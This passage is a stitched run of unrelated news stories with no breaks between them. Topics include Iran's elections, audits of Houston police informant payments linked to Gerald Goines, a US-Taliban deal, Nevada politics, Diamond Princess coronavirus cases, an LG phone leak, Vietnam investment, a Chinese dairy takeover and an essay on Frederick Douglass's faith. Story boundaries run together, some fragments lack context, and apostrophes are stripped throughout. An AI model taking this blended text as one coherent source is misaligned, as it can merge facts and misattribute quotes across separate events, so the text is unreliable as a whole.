that only candidates loyal to Khamenei have been allowed to run. "Critics of the establishment have no chance of entering the elections," Keshtgar said. Observers had said turnout could be affected by announcements from Iranian health officials of several infections and deaths related to the deadly coronavirus in Iran. With reporting by RFE/RLs Radio Farda, AFP, dpa, and Reuters Gerald Goines deceived his fellow police officers as well as judges and juries when he lied about defendants in cases he handled, authorities say. The indicted cops misconduct he now faces murder charges after a fatal drug raid he led has prompted judges to overturn two convictions this month and forced Harris County prosecutors to review hundreds of his old cases. But internal HPD audits and court documents, as well as a review of some investigations led by the former narcotics officer at the center of the fatal Harding Street raid, raise questions about the supervision Houston Police Department officers receive for dealing with confidential informants. Investigators say Goines exploited the system for handling and paying CIs to launch the 2019 raid that left two people dead and himself and four other officers injured. Red flags from the audits conducted by the departments own internal auditors and records include supervising officers signing off on incomplete paperwork to pay informants, officers exceeding withdrawal limits for confidential informants and notarizing documents that were never properly signed. While the audits from the HPD Inspections Division describe failures to follow policies and procedures rather than the illegal activities prosecutors say Goines was engaged in, experts say they point to a potentially broader problem at HPD: when officers stop following protocol or ignore small rules, they could be more likely to break the more serious ones. Such shortcomings can lead to environments that can allow a rogue officer to operate unchecked. When asked for comment, Chief Art Acevedo said he had not had enough time to review the relevant documents, and said it would be inappropriate to discuss Goines because of the pending criminal case against him. Questionable casework: Key Houston police narcotics officers at center of fatal Harding Street drug raid tallied few arrests, low-level busts The departments review of its Gang Division uncovered issues with tracking money and with the use of confidential informants across the division. HPDs review which looked at operations during October 2016 found two instances in the audit period where supervisors hadnt signed off on officers informant payment requests, documents show. And while the divisions policies require officers to submit police reports with each CI expenditure, no offense reports were submitted as part of the supporting documents. When officers filed receipts and reports, auditors wrote, they often deviated from department protocol. Issues included failing to list who issued the cash, tracking receipt numbers and failing to keep tabs on the cash they had on hand. Auditors found other problems within the division. They said that both handwritten ledgers and electronic databases used to track transaction were missing required information, including the person issuing funds, type of transaction, a receipt number and fund balance. In some cases, officers did not seek authorization from superiors to pay confidential informants, the documents show. Officers failed to follow policy by not submitting copies of offense reports to back up information for each informant payment. And the audit team from the Inspections Division reported that HPDs Office of Budget and Finance was conducting audits of the divisions CI funds every two years, instead of twice a year, as required by its own internal protocols. The documents show auditors recommended changes to policies, corrections to ledgers or internal recording documents, and additional training to correct the problems recommendations HPD leadership appear to have signed off on. In a similar review of the Vice Division in 2018 by the Inspections Division, auditors determined that sergeants approved cash draws by investigators for confidential informant payments and other casework that exceeded department rules in nearly 60 percent of the cases they reviewed, and expense affidavits failed to note which supervisors were issuing the funds. Auditors wrote they found evidence supervisors authorized multiple withdrawals a minute apart, and appear to have been done so in order to avoid violating the $250 limit. Wrong Door: Houston botched drug raid was not the first Other times, the audit found sergeants signing for funds in place of an officer before a notary public. In one incident a unit lieutenant was the notary in question, the audit notes. In another case, the sergeant signed for someone else and was also the notary who signed the expense report. Auditors found the division was using forms that didnt identify which supervisor was actually authorizing money draws and employees werent using basic records forms to document cash disbursements. They recommended supervisors institute periodic self audits to protect the integrity of the funds and to ensure department policy is being followed. While HPD audited its Vice and Gang divisions fairly recently, a Chronicle investigation in November found that auditors went almost two decades without reviewing the Narcotics Division. In response to a records request, the department produced just one audit -- from 2000. Inspectors who reviewed the divisions confidential informant files that year reported that the divisions monthly expense affidavits were supposed to be reviewed twice a year, according to internal department policies. The Office of Budget and Finance informed assessors that such an audit has never been conducted, the reports authors wrote. They also reviewed officers receipt for funds forms and CI activity sheets. In the 46 files auditors reviewed (which contained 288 CI activity sheets), they found 45 errors. The assessors found files that had outdated information or were inactive, or lacked proper identification requirements, and urged a total review of the files to bring them into compliance with department requirements. A high-ranking New York Police Department anti-drugs supervisor commented on the findings. They set those parameters for a reason, said Stephen Nasta, a former NYPD inspector who oversaw hundreds of narcotics officers and is now an adjunct lecturer at the John Jay College of Criminal Justice. If you dont have controls, you can think its your money and you can do what you want with it. It can lead to problems. J. Thomas Manger, who led police departments in Maryland and Virginia for 21 years and served as president of the Major Cities Chiefs Association until 2016, declined to discuss Goines casework or the Harding Street scandal, but said maintaining close supervision on officers interactions with confidential informants and confidential informant payments is crucial for departments. Theres a big difference between willful dishonesty and violations of protocol when theyre done for reasons of expediency or laziness, he said. That doesnt make right, but its a different issue to fix. Court records in two convictions based on Goines casework also have information about supervision and oversight. The brothers in the case were both recently declared innocent. In Otis Mallets case, court records show one of Goines supervisors present the day of Mallets 2008 arrest later signed off on conflicting expense reports. Narcotics Sgt. Troy Gamble acted as surveillance late in the evening on April 29, 2008 when Goines said he bought drugs from Mallet, according to the arrest report filed in the incident. RELATED: People who served time say it was based on ex-cop Goines lies Prosecutors now say the entire Mallet transaction was a fraud, and its unclear what portions of that arrest report are accurate or if Gamble was even present that night. Just over a week after the arrest, the sergeant signed off on Goines confidential informant payment expense report from April a report that showed Goines hadnt made any payments that month, even though Mallets arrest report shows Goines said he paid Mallet $200 for a quarter of crack cocaine. Gamble later signed off on Goines May expense report form, which showed the narcotics officer paid a confidential informant $200 for information related to the case even though Goines never mentioned using an informant in any other case documents. The discrepancies in Goines case documents ultimately helped persuade a judge to declare Mallet actually innocent. His brother Steven Mallet, saw his case overturned two weeks later. Jonathan Landers, who represented Otis Mallet, said their cases revealed a lack of meaningful oversight of line officers by supervisors. Someone could have looked at that April expense report, compared it to the underlying offense report and seen something was off, he said. And then that information should have been turned over to the DAs office. Prosecutors agreed. The May expense report directly contradicts [Goines] trial testimony and the offense report in question, so it should have raised red flags, said Joshua Reiss, post-conviction chief at the Harris County DAs Office. It raises a lot of questions as to, Were these expense reports being closely watched or not? Reached by phone, Gamble said he didnt remember Mallets arrest, but said he reviewed any expenses on any case he was involved with and a situation where expense reports didnt line up with details in an arrest report would concern him. All the expenditures should add up, he said. If you spend money any money spent should be documented. Landers, meanwhile, said Mallets casework, and the audits, underscored a more fundamental problem. The policies are there for a reason, so police are held accountable, he said. Theyre enforcing the law. They ought to be following their own rules. You have to think why they have those rules to prevent situations like what happened in Otis Mallets case. st.john.smith@chron.com twitter.com/stjbs An agreement between the US and the Afghanistan Taliban is expected to be signed on February 29, US Secretary of State Mike Pompeo said in a statement on Friday. The US and the Taliban have been engaged in extensive talks to facilitate a political settlement to end the war in Afghanistan, reduce the US and allied forces presence, and ensure that no terrorist group ever uses Afghanistan soil to threaten the US or its allies. In recent weeks, in consultation with the government of National Unity, US negotiators in Doha have come to an understanding with the Taliban on a significant and nationwide reduction in violence across Afghanistan. Upon successful implementation of this understanding, the signing of the US-Taliban agreement is expected to move forward. "Infra-Afghan negotiations will start soon thereafter and will build on this fundamental step to deliver a comprehensive and permanent ceasefire and the future political roadmap for Afghanistan. The only way to achieve sustainable peace in Afghanistan is for Afghans to come together and agree on the way forward," read a statement. "Challenges remain, but the progress made in Doha provides hope and represents a real opportunity. The United States calls on all Afghans to seize this moment. The United States thanks the State of Qatar and all other allies and partners for their support of peace in Afghanistan," added the statement. Three pilgrims were killed and another was seriously injured on Friday when they were hit by a truck while on way to offer prayers at the Tarakeswar temple in West Bengal on the occasion of Maha Shivratri, police said. They were part of a group of about 20 people who were travelling by scooters to the temple town in Hooghly district. Two of them were travelling on one scooter and were joined by two others at a place called Baghbari. After travelling some distance, they were hit by the truck coming from the opposite direction. Three of them died on the spot, the police said. The fourth person was seriously injured, the police said adding he was admitted to the Tarakeshwar rural hospital, which referred him to a hospital in Kolkata. The three dead, who were in the age group of 20-26 years, were identified as residents of Narkeldanga area of Kolkata. Angry locals alleging police negligence blocked the road for about 30 minutes to protest against frequent accidents in the area due to space constraint caused by parked trucks. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A hospital belonging to a BJP leader was pelted with stones on Friday evening in Aurangabad in Maharashtra and he has blamed supporters of a political rival, police said. The attack took place at 6:30pm and is the handiwork of supporters of Kishanchand Tanwani who left the BJP and joined the ruling Shiv Sena a couple of days ago, Dr Bhagwat Karad told reporters after filing a complaint at Kranti Chowk police station. "I was sitting in the hospital when the attack took place. Stones were thrown at my home and car as well. Some people came to me and threatened me over a statement of mine which was reported in the papers. This pelting of stones was done by Kishanchand Tanwani's supporters," he alleged. The attack may have some connection to the upcoming Aurangabad municipal polls, Karad said, and added that the BJP would win them despite such threats and attacks. Inspector Amol Devkar refused to comment on the issue. Karad is former Aurangabad mayor and is state vice president of the BJP. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) RENO, Nev. Twenty years ago, long before Nevada was part of the early presidential selection process, the phone typically rang unanswered at Washoe County Democratic Party headquarters in Reno during mid-term elections. We had a small conference room and a tiny reception area, but no staff at all, recalls Chris Wicker, who started a seven-year run as county party chairman in 2002. There wasnt any state party focus up here except in presidential years. If you talked to people, they would say `I didnt know there was a Democratic Party in Washoe County, he said. In the last decade Nevada has undergone a political transformation from Republican outpost to a contested battleground to emerging Democratic hotbed. All but one member of the states congressional delegation is a Democrat along with all but one of the statewide officer holders. The Democratic swing has been so pronounced that President Donald Trumps campaign views Minnesota a state that hasnt voted for a GOP presidential candidate since 1972 as friendlier territory than Nevada. When Democrats caucus here Saturday to pick their preferred nominee for president, there will be 165,000 more total registered Democrats in Nevada than in 2008, the first time the state held its closely watched contest. Nowhere is the new blue streak clearer than in northern Nevadas Washoe County, a place not long ago considered a GOP stronghold. But as the growing suburbs tucked into the shadow of the Sierra have changed, so has Nevadas political landscape. California transplants have brought their politics with them. A tech boom spurred by companies like Tesla, Apple and Microsoft has drawn the young and college-educated, demographic groups that lean left as do Hispanics who made up 29% of Nevadas population in 2019, according to the U.S. Census Bureau. Now the phone is ringing all the time in county Democratic headquarters in Reno, which is staffed year-round. For decades, the key to Republicans winning a statewide election in Nevada was to sweep the more conservative rural counties and build just enough of a margin in the Reno-Sparks area to offset heavily Democratic Clark County. In 2008, President Obama became the first Democrat since Lyndon Johnson in 1964 to carry Washoe County. Just four years earlier, Vice President Dick Cheney capped a campaign swing across the country with an appearance at a Sparks high school in a working class neighborhood the night before George W. Bush won re-election against Democrat John Kerry. The GOP hasnt carried Washoe County or Nevada in a presidential election since. Thanks in part to the once red bastion of Washoe, Nevada was one of the few swing states that sided with Hillary Clinton over Donald Trump in 2016. You guys have turned this state around, former Vice President Joe Biden told hundreds gathered last month in the same Sparks High School gymnasium where Cheney rallied the GOP troops in 2004. You sort of hold the keys to the kingdom here. Republicans argue they have a comeback plan, one bankrolled by an incumbent president popular with his party and party donors. Keith Schipper, Nevada spokesman for the Trump campaign, said the GOP has built atop-notch ground-game operation, unparalleled data program, and vast fundraising war chest that will out match Democrats. Most Democrats credit former Senate Majority Leader Harry Reid with building Democrats formidable ground force statewide. Reid for years collaborated with organized labor, worked with groups registering new, Latino and young voters and used clout to bring the early caucus and its national spotlight to Nevada. But demographic changes sweeping the West also worked in Democrats favor. I think we honestly have now joined the rest of the West Coast and Democrats are basically going to be in control like they have been for some time in Washington, Oregon, Hawaii, said Fred Lokken, longtime head of the political science department at Truckee Meadows Community College in Reno. Bob Fulkerson, longtime leader of the Progressive Leadership Alliance of Nevada a coalition of labor, social justice and minority groups in Reno said a growing population of Asians and Pacific Islanders is adding to the influx of Hispanics, who the state demographer projects will account for one-third of Nevadans by 2029. I think were undergoing a sea change largely driven by demographics, Fulkerson said. It has been happening in Clark County for decades and now it is happening in Washoe. Those changes are seen at Democratic party events and in the prominence of progressive groups. But not all the California transplants are Democrats. Wicker, the former Washoe County Democratic chairman, said the influx from California is a mixed bag politically. Many people are coming to northern Nevada to avoid taxes, or their company is moving here. They are not necessarily naturally Democrats just because they came from California, he said, adding that many young people register non-partisan but show up at progressive groups events. But some observers note Nevadas Republican Party hasnt necessarily tapped into that new pool of voters. The party took a turn to the right, embraced hard line tea party politics and then later Trumps bombastic, anti-immigration platform. Its too conservative for many Republicans, Lokken said. As they ramp up their push to win Nevada back, Republicans are focusing on an economic message aimed at nonpartisan and moderate voters and arguing its Democrats that are too far out of the mainstream. If these 2020 Democrats honestly believe their socialist agenda is a winning message in Nevada, they are going to be severely disappointed, Nevada GOP Chairman Michael McDonald said in a statement following Wednesday nights Democratic debate in Las Vegas. One of the leading Democrats in the race, including the one, Vermont Sen. Bernie Sanders, identifies as a democratic socialist. Republicans have been trying to grab the spotlight from Democrats whenever possible this week. Trump stayed overnight at his Trump-branded hotel in Las Vegasbefore he spoke at an event at police headquarters Thursday and planned a noon rally Friday at the convention center. Republicans dont have a caucus in Nevada this year. Instead, the state partys central committee plans to meet in Pahrump Saturday to become the first Western state to formally bind their delegates to Trump. KYODO NEWS - Feb 21, 2020 - 14:47 | World, Coronavirus, All The Australian government said Friday that two of the roughly 160 people evacuated to Australia from a virus-stricken cruise ship in Japan have tested positive for the new coronavirus. The two are among the Diamond Princess passengers who arrived in Darwin, northern Australia, on a chartered plane on Thursday to begin a 14-day quarantine period. Australia's chief medical officer, Brendan Murphy, said all Australians -- including the two individuals -- were tested for the virus prior to leaving Japan, with no one returning positive results or showing any symptoms of the disease. Upon arrival in Australia, six people showed minor respiratory symptoms and were isolated. All were re-tested, with two people returning positive results. "Given there was continued evidence of spread of infection on board the Diamond Princess in recent days, the development of some positive cases after return to Australia is not unexpected, despite all of the health screening before departure," Murphy said in a statement. In total there have been 17 confirmed cases of coronavirus infection in Australia, including the latest arrivals from the cruise ship. (The Diamond Princess, Feb. 20, 2020) Related coverage: Crew on cruise ship docked in Cambodia test negative for virus Japan scrambles to fend off criticism over Diamond Princess Excerpt: Q&A from physician on coronavirus-hit Diamond Princess cruise ship Attorneys for Tykeria Garrett seek damages in excess of $50,000 from the now-closed Nardos BBQ, formerly on Route 41 in an unincorporated area near Lake Bluff, and from Saladine McKinney, who was sentenced to six years in prison for the shooting and is currently on parole, according to the Illinois Department of Corrections. Highlights LG V60 ThinQ has leaked again wherein its full look has been revealed. The LG V60 ThinQ was earlier supposed to launch at the now-cancelled MWC 2020. The revised launch date is not clear as of now. LG V60 ThinQ rumours are cropping up more frequently now, indicating the launch could be imminent. The next flagship from LG has been leaked previously wherein most of its key specifications and its design have been revealed. Now, a fresh render has hit the rumour mill, giving us the first look in entirety and reiterating the features of the LG V60 ThinQ. The smartphone will indeed sport a waterdrop-style notch at the top of the display, which will house a single selfie camera. The render leak comes from Android Headlines and shows what LG V60 ThinQ will look like. It has a design similar to the prequel V50 ThinQ, however, there are some variations. For instance, the V60 ThinQ will sport a single camera on the front, as opposed to the dual-camera setup on the V50 ThinQ. There will be thin bezels on the smartphone and a wider earpiece as compared to the predecessor. In fact, the earpiece could double as the secondary front-firing speaker. The render shows a metal frame around the smartphone's body in gold. There will also be a Google Assistant button right below the volume rocker on the smartphone's left side. If we observe the render closely, there is a date mentioned on the smartphone's lock screen. The render shows the date February 24, which is when the smartphone was scheduled to launch ahead of the MWC 2020. Moreover, LG was among the first few brands that pulled out of the tech exhibit much before the cancellation happened. About the launch of the V60 ThinQ, LG is yet to share an official date but, according to the report, it could be launched sometime in March. Previously, the LG V60 ThinQ was spotted on the Geekbench benchmarking website where some of its specifications were revealed. The smartphone is expected to come with a Qualcomm Snapdragon 865 processor paired with 8GB of RAM and at least 128GB of internal storage. It will come running Android 10 out of the box. The smartphone has also been tipped to pack a 5000mAh battery, a 3.5mm headphone jack, and quad cameras at the rear, thanks to some early renders shared by Evan Blass. The most interesting feature, however, could be the four-channel microphone set-up on the smartphone. This added functionality could be aimed at content creators. BERLIN German officials have faced accusations for years of turning a blind eye to the threat posed by right-wing extremists. But after a German who embraced violent racist ideals killed nine mostly young people in hookah bars in the central city of Hanau this week, the response was swift and clear. Far-right terror is the biggest threat to our democracy right now, Christine Lambrecht, the justice minister, told reporters on Friday, a day after joining the countrys president at a vigil for the victims. This is visible in the number and intensity of attacks. The Hanau shootings on Wednesday were the latest in a series of far-right attacks at a time when the countrys hard-won democratic institutions face growing distrust and its usually consensus-driven politics have been fractured by the rise of a right-wing populist party, Alternative for Germany. It's time now to meet the newest members of our Morning Mug Club -- brought to you by Holland Farms Bakery & Deli. Coming up on Friday, February 28th, the Frankfort Boy Scout Troop 1 is hosting their 12th Annual Fish Fry fundraiser. It will be from 4:30pm - 7:30pm, at Our Lady Queen of Apostles church. That's on Frankfort Street, in Frankfort. Tickets are $14 at the door. This includes fish (fried or baked), cole slaw, french fries, and a drink. Eat in or take out and delivery is available in the village of Frankfort. The proceeds will benefit the Frankfort Boy Scout Troop 1, for camping, outings, awards, and supplies for the troop. Vietnams political stability is one factor among many that raises it above regional FDI competitors Photo: Le Toan Vietnams foreign direct investment (FDI) performance in 2019 hit a decade-long high at around $38 billion pledged, demonstrating justification of the governments policies and regulations. In January the surge continued, with the country attracting around $5.3 billion in FDI in the first 20 days of the month alone, an on-year improvement of nearly 180 per cent. Approximately $4.5 billion of the total is going into nearly 260 projects, with the remainder of the sum coming in the form of share purchases, capital contributions, and additional related investment. Last month Singapore was listed as Vietnams largest overseas investor, with over $4 billion pledged, representing a massive 90 per cent of total FDI. Since then, global eyes have been focused on the spread of coronavirus known as COVID-19, which has affected scores of countries. Economists have been scrambling to predict the lasting effects of the outbreak, and calculate the growth hit not only to the epicentre of China but also to neighbouring nations and the rest of the world. Due to the ongoing and protracted trade spat between the United States and China, Vietnam last year was seen as one of the beneficiaries of major companies looking to move operations, or relocate altogether, from China in order to diversify and protect their interests. This mood could now accelerate further as, currently, portions of China remain in effective lockdown, helping to protect human health while also damaging business interests and travel and tourism, among other areas. Before the health crisis emerged, growth prospects in Southeast Asia were seen as positive when compared to the global economy as a whole, according to various surveys carried out in 2019 that often cited resiliency for the relatively stronger performance in investment in the region. One survey, from PricewaterhouseCoopers of almost 1,600 CEOs from companies covering over 80 nations, outlined that growth pessimism is circling around Western Europe, North America, and the Middle East. Leaders from those regions were already predicting lower global growth in 2020, before any of the latest developments emerged. However, over one-third of Asia-Pacific CEOs are expecting improvement, with 15 per cent looking ahead to great improvement in the next 12 months, which was the highest proportion among the globes general regions. The results aligned with a 2019 APEC survey of CEOs, in which 34 per cent in Asia-Pacific (including almost half of Vietnamese CEOs surveyed) offered a positive outlook for growth in 2020, in spite of the overall falling trend. Pushing attraction forward If Vietnam continues to contain the COVID-19 outbreak at its current level or better, the country will be poised to take advantage of the positive sentiment among business leaders and improve further on its already-impressive FDI attraction. While admitting that previously-made targets across the board for economic growth and FDI attraction will be a huge challenge to achieve in the face of various external factors, Deputy Minister of Planning and Investment Tran Quoc Phuong said solutions can be created to keep the economy moving in the right direction. It is necessary to immediately resolve administrative procedures and other problems so that businesses can start construction and implement large-scale projects, creating a spillover effect on socio-economic development of localities and regions, Phuong said. Vietnam will be looking to the FDI mainstays of Singapore, Japan, Hong Kong, and South Korea to consolidate their presence in the country in 2020. South Korea last year placed first in FDI in Vietnam, with $7.92 billion over one-fifth of the total amount pumped into the country. According to the Foreign Investment Agency under the Ministry of Planning and Investment, in January this year along South Korea placed second with $264.5 million in investment capital being poured into Vietnam. Electronics, medical devices, aeronautics, and high-tech park infrastructure are just some of the areas South Korean expertise could be penetrating further, both this year and beyond. Meanwhile, activities by Japanese companies in Vietnam have been hitting record highs, especially in mergers and acquisitions. Tamotsu Majima, senior director of service advisory group RECOF Corporation, said at a forum late last year that Japanese companies were increasingly interested in Vietnam, especially in the fields of production and services. Masataka Sam Yoshida, senior managing director of the corporation added, The US-China trade war remains one of the main reasons for Japanese investors to turn to Vietnam. This has been illustrated by the country becoming Vietnams second-largest foreign investor last year, involved in nearly 4,400 projects worth almost $60 billion. Sumitomo, Honda, Toyota, Canon, and Panasonic all have a substantial foothold in the country. Vietnam also has the distinction of being named the most promising destination for investment in Asia this year, according to a survey carried out by media group NNA Japan Co., Ltd and revealed last month. In the survey, over 42 per cent of the 820 respondents selected Vietnam as a top investment location, citing factors such as growth potential and supply of skilled and low-cost labour. India was second at just over 12 per cent, with Myanmar third on 11.6 per cent and Indonesia fourth at 6.6 per cent. Discussing the survey, Tridivesh Sing Maini, a New Delhi-based policy analyst, said, This yet again reiterates Vietnams emergence as an important economic player, not just within the ASEAN or Asia, but at a global level. While the US-China trade war has hit other countries, investment from mainland China to Vietnam has witnessed a rise. Maini added recent instability in Hong Kong along with other factors has driven many investors towards Vietnam. Vietnams economic march is likely to carry on, also due to its focus on reforms and an investor friendly environment, along with its ability to successfully navigate various challenges not to forget its growing geopolitical importance. Globally open Elsewhere, Vietnam is expected to see a rush of investment from European countries, after the EU-Vietnam Free Trade Agreement (EVFTA) was voted through by the European Parliament last week. At a recent Philippines-Germany Business Relations forum, German Ambassador to that country, Anke Reiffenstuel, made a point of mentioning Vietnam as a strong competitor in attaining overseas investment. The EU Council will be presided over by Germany in the second half of 2020 under a chair rotation system and the countrys priority in that time, according to Reiffenstuel, will be strengthening economic relations with individual ASEAN member states. The Philippines have a very strong competitor, and everybodys talking about Vietnam on their approach and how they are opening up towards foreign investors, she said. Vietnam is very strong and of course there is also Malaysia and Singapore too. The ambassador added that smoothly operated one-stop shops and ease in carrying out business registrations are the main actions that can entice such investors. Another European nation but now outside the EU, the United Kingdom is about to embark on a new trade and investment relationship with countries around the world. According to Asia Times, while natural attention from the Brits may first land on Thailand, Malaysia, or Singapore, Vietnam cannot be counted out, especially as it can provide a more politically-stable and safer environment compared to some other nations. This year marks 10 years of the UK-Vietnam strategic partnership, and with Vietnams ASEAN chair role for 2020, considerable leverage over the region is currently being held by the country. Britain now needs to sign relatively easy free trade agreements as it struggles to secure more complicated ones with the EU and the US and a trade deal with Vietnam ought to be straightforward and swift, Asia Times concluded. Meanwhile Alexander Downer, chairman of Policy Exchange and a former Australian Foreign Minister, wrote in The Spectator in January, If Britain is to become the global player Prime Minister Boris Johnson wants it to be, then it has to engage more strategically in the Asia-Pacific region. And then there is China itself. FDI from China into Vietnam doubled after the US trade dispute clicked into full gear, and it is projected to grow even bigger. A seminar at the Institute of Southeast Asian Studies in Singapore will next week be held to provide an update on Chinas investment activities in Cambodia, Indonesia, Malaysia, and Vietnam. The event will seek to compare projects in industrial parks and rail infrastructure in each country, and their prospects. The Vietnamese speaker at the seminar will be Pham Sy Thanh, director of the Chinese Economic Studies Programme at the Vietnam Institute for Economic and Policy Research. Australian milk brands Big M and Dairy Farmers have been given the green light to be taken over by a Chinese company. The whopping $600million deal was announced on Friday after the Australian Consumer and Competition Commission said they would not oppose the takeover of either of the brands by China Mengniu Dairy Company Ltd. Following research of the potential impact on competition, Mick Keogh, the ACCC's deputy chair, said Burra and Lion D&D are not close competitors which makes the takeover fair. Australian milk brands Big M and Dairy Farmers have been given the green light to be taken over by a Chinese company (stock Dairy Farmers) 'Our investigations concluded that dairy farmers are unlikely to switch between the two,' Mr Keogh said in a statement. 'The level of aggregation from the proposed acquisition will be relatively low, with Burra and Lion D&D combined acquiring less than 25 per cent of raw milk in Gippsland. 'Two other large raw milk buyers remain in the Gippsland region, Saputo and Fonterra, as well as some smaller processors.' Under the huge deal, Mengniu will acquire Australian brands including Dairy Farmers, Big M, Pura, Daily Juice and Berri. The whopping $600million deal was announced on Friday after the Australian Consumer and Competition Commission said they would not oppose the takeover Last year, Mengniu paid $1.5billion to buy the popular infant formula company, Bellamy's. In 2011, Mengniu came under fire after it was found they were selling milk contaminated with a cancer-causing substances. A government watchdog found the milk to contain the substance aflatoxin, which is produced by fungus that can cause severe liver damage, including liver cancer. The company apologised to it's consumers after destroying all contaminated milk and ensured customers that none of the tainted products made its way to supermarket shelves. 'Mengniu would like to express our sincere apologies to consumers,' the company said. 'We will draw a big lesson from this incident and will work harder to meet all national and corporate standards on quality in the future,' it said. Under the huge deal, Mengniu will acquire Australian brands including Dairy Farmers, Big M, Pura, Daily Juice and Berri Australian powdered milk is still highly sought after in China after six children died from consuming poisoned powered milk in 2008. Mengniu is a Chinese dairy company listed on the Hong Kong Stock Exchange. A subsidiary of Mengniu owns a 43.35 per cent minority interest in Inner Mongolia Fuyuan International Industrial (Group) Co., Ltd, which in turns owns 51.35 percent of Burra. Burra is an Australian producer and wholesale distributor of dairy products. It has one raw milk processing facility located at Korumburra in Gippsland, Victoria. Thanks for visiting ! The use of software that blocks ads hinders our ability to serve you the content you came here to enjoy. We ask that you consider turning off your ad blocker so we can deliver you the best experience possible while you are here. Thank you for your support! As Frederick Douglass looked out on the boisterous crowd that had gathered to celebrate Americas independence, he thought of Psalm 137. By the rivers of Babylon we sat and wept when we remembered Zion. There on the poplars we hung our harps, for there our captors asked us for songs, our tormentors demanded songs of joy; they said, Sing us one of the songs of Zion! How can we sing the songs of the Lord while in a foreign land? (v. 14) The Rochester Ladies Anti-Slavery Society had invited Douglass to deliver the keynote address for their Fourth of July celebrations in 1852. Fourteen summers earlier, Douglass had escaped from slavery. Now, at only 34, he was Americas most famous abolitionist orator. Douglass usually felt a certain anger and sadness on the Fourth of July. That day, as he stood behind the speakers lectern, he felt like an Israelite in exile called upon to sing for his Babylonian captors. The crowd wanted him to venerate the Founding Fathers and celebrate their heroic deeds. At the start of his speech, Douglass seemed happy to oblige. But those who listened closely might have shifted uneasily in their seats if they noticed how Douglass used the word your. He spoke of your independence, your freedom, your nation, your fathers. The Founders succeeded in creating a new nation, Douglass said, and today you reap the fruits of their success. Image: Peter Strain To the slave, Douglass told his white audience, your celebration is a sham; your boasted liberty, an unholy license; your national greatness, swelling vanity; your sounds of rejoicing are empty and heartless; your shouts of liberty and equality, hollow mock; your prayers and hymns, your sermons and thanksgivings, with all your religious parade and solemnity, are to him mere bombast, fraud, deception, impiety, and hypocrisya thin veil to cover up crimes which would disgrace a nation of savages. He reserved his harshest judgment for the nations churches. Nearly every white Christian either defended slaveholding or refused to speak against it. Douglass ridiculed their pretensions to righteousness with a warning from Isaiah: And when ye spread forth your hands, I will hide mine eyes from you: yea, when ye make many prayers, I will not hear: your hands are full of blood (1:15, KJV). Forgotten Prophet February marks the 200th anniversary of the birth of Frederick Douglass. Born a slave on the Eastern Shore of Maryland, Douglass fled to freedom in 1838 and became a champion of liberty and equality. In his 77 years, Douglass delivered thousands of speeches. He published three autobiographies. He founded and edited newspapers. He attended the first great womens rights convention, in Seneca Falls, New York, in 1848. He met with President Abraham Lincoln to lobby for emancipation. He championed the cause of African American civil and political equality after the Civil War. He lived to see the tragic onset of Jim Crow and fought the oppressive system of racial segregation, disenfranchisement, and violence until he died in 1895 (a year before the notorious Supreme Court decision Plessy v. Ferguson, which upheld segregation under the separate but equal doctrine). Yet theres a side of Douglass thats not often remembered or celebrated: his radical Christian faith. Douglass was a kind of prophet crying in the wilderness of Christian slaveholding America. Its no coincidence that in the most famous speech of his lifeWhat to the Slave is the Fourth of July?Douglass quoted the prophet Isaiah at length. He aspired to speak to America as biblical prophets once spoke to their people: with words of warning and rebuke, grace and hope. Old Testament scholar Walter Brueggemann has written that ancient Hebrew prophets nurture, nourish, and evoke a consciousness and perception alternative to the consciousness and perception of the dominant culture. They offer an alternative perception of reality, one that allows people to see their own history in the light of Gods freedom and his will for justice. Douglass tried to do the same thing in his long struggle against bondage. Slavery, as an elaborate system of racial oppression, offered a flawed perception of reality, a poisonous account of who we are as human beings and how we ought to live together. Douglass spent a lifetime pleading with white Christians, as members of the dominant culture, to acknowledge how thoroughly slavery had distorted their view of reality and kept them from loving as Christ loves. He had no illusions about the possibility of eradicating all evil and fully realizing the kingdom of God on earth. But, in hopeful anticipation of a world without slavery, the prophetic Douglass implored his fellow Christians to hew to the narrow path of doing justice, loving mercy, and walking humbly with God. Not Color, but Crime The crucible of Douglasss prophetic Christian faith was his childhood suffering as a slave. Before his escape at age 20, Douglass witnessed and endured great cruelty, especially at the hands of Christian masters. Young Douglass spent most of his earliest childhood days on the sprawling plantation of the Lloyd family, one of Marylands wealthiest slaveholders. There, Douglass first saw the grotesque violence and depravity that accompanied slavery: brutal whippings, cold-blooded murder, the daily trials of physical and psychological abuse. Early one morning, Douglass woke to the desperate cries of his aunt Hester. A 15-year-old girl of striking beauty, Hester had been courted by Ned Roberts, a Lloyd family slave. Aaron Anthony, the slavemaster, commanded Hester to stop visiting Ned, but she continued, which incited Anthonys rage. When Douglass peered out of his bedroom, a closet in the Anthony kitchen, he saw Hester stripped to the waist, her wrists bound together and fastened to the ceiling above her head. Anthony cursed Hester as he methodically delivered blow after blow with his three-foot-long cowskin whip. Blood flowed down her back as she pleaded for mercy. Douglass watched in terrified silence as Anthony delivered 30 or 40 lashes, before untying Hester and letting her body fall bloody and exposed on the kitchen floor. How is a child, no more than six or seven, supposed to make sense of such violence? Douglass was a bright boy, so he soon asked the hardest questions: Why am I a slave? Why must slaves like Hester endure such pain, even unto death? Where is God? Why is he silent in our suffering? Douglass suspected that the answers he heard from white southern Christians could not be right. How could God, in perfect wisdom and goodness, have made black people to be slaves and white people to be masters? Perhaps, he thought, it was not color, but crime, not God, but man that created slavery. In 1826, Douglass was sent to Baltimore to live with Hugh and Sophia Auld. Late one Sunday night, he woke to the sound of Sophia, a devout Methodist, reading from the first chapter of the Book of Job. Douglass heard about a man who feared God and eschewed evil yet still lost everythinghis livestock, servants, and children. Half-awake under a table on the Auld floor, Douglass decided he had to know more about this man Jobhow he could say, despite his suffering, blessed be the name of the Lord. Sophia began to teach Douglass the alphabet, but Hugh forbade the lessons. So Douglass secretly taught himself, laboring over well-worn and well-hidden copies of Websters spelling book and Methodist hymnals. By the time he was 13 or 14, he could capably read and write. Soon after, he formally converted to Christianity, shepherded by free black Methodists. Within the African Methodist Episcopal Church, Douglass first learned that there might be more to the call of Christ than the proslavery gospel he had heard his entire life. Salvation, though, came slowly. For several weeks, tortured by the knowledge of his sin, Douglass remained a poor, broken-hearted mourner, traveling through the darkness and misery of doubts and fear. But once he cast all his cares upon God, Douglass wrote, he found faith in Christ as Redeemer, Friend, and Savior. Not long after, in March 1833, Hugh Auld unexpectedly sent Douglass back to the Eastern Shore. For the next three years, Douglass labored for the first time as a field hand, physically and spiritually exhausting work. During this time, he saw just how completely slaveholders distorted the Christian 